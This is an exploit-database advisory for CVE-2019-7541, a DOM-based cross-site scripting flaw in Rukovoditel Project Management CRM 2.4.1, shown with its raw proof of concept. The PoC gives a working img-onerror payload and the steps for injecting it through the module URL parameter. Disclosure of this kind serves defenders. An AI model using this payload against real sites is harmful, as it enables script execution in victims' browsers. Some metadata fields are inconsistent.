Rukovoditel Project Management CRM 2.4.1 - XSS Vulnerability (DOM BASED)

vendor:

Rukovoditel Project Management CRM

by:

Mehmet EMIROGLU

6.1

CVSS

MEDIUM

XSS

CWE

Product Name: Rukovoditel Project Management CRM

Affected Version From: 2.4.2001

Affected Version To: 2.4.2001

Patch Exists: NO

Related CWE: CVE-2019-7541

CPE: a:rukovoditel_project_management_crm:rukovoditel:2.4.1

Metasploit:

Other Scripts:

Platforms Tested: Wampp, Windows, Lampp

2019

Rukovoditel Project Management CRM 2.4.1 – XSS Vulnerability (DOM BASED)

The Rukovoditel Project Management CRM 2.4.1 version is vulnerable to a DOM based XSS vulnerability. By manipulating the URL and injecting malicious code, an attacker can execute arbitrary scripts in the victim's browser.

Mitigation:

To mitigate this vulnerability, it is recommended to sanitize and validate user input before displaying it on the web application.

Source

Exploit-DB raw data:

####################################################################

# Exploit Title : Rukovoditel Project Management CRM 2.4.1 - XSS Vulnerability (DOM BASED)
# Author [ Discovered By ] : Mehmet EMIROGLU
# Date : 29/01/2019
# Vendor Homepage : https://www.rukovoditel.net/
# Software Link : https://sourceforge.net/projects/rukovoditel/
# Affected Versions : 2.4.1
# Tested On : Wampp, Windows,Lampp
# Category : WebApps
# Exploit Risk : Medium
# CVE : 2019-7541
# Sofrware Description : Rukovoditel is a free web-based open-source
project management
  application. A far cry from traditional applications, Rukovoditel gives
  users a broader and extensive approach to project management. Its
  customization options allow users to create additional entities, modify
  and specify the relationship between them, and generate the necessary
reports.

####################################################################

# Impact :
*********

* This web application called as Rukovoditel Project Management CRM 2.4.1
version.
* first of all, delete the value string from the URL
(...module=users%2flogin)
* after, add the XSS code I've given below to the end of the URL.
* The proof will be the picture below.
* https://i.hizliresim.com/6aydM7.jpg

####################################################################

# PoC :
****************************
* XSS Code : "><img src=x
onerror=document.body.innerHTML=location.hash>#"><img src=x
onerror=prompt(123456789)>
* Value : users%2flogin
* Get Request : http://localhost/[PATH]/index.php?module=users%2flogin
* URL : http://localhost/rukovoditel/index.php?module="><img src=x
onerror=document.body.innerHTML=location.hash>#"><img src=x
onerror=prompt(123456789)>

####################################################################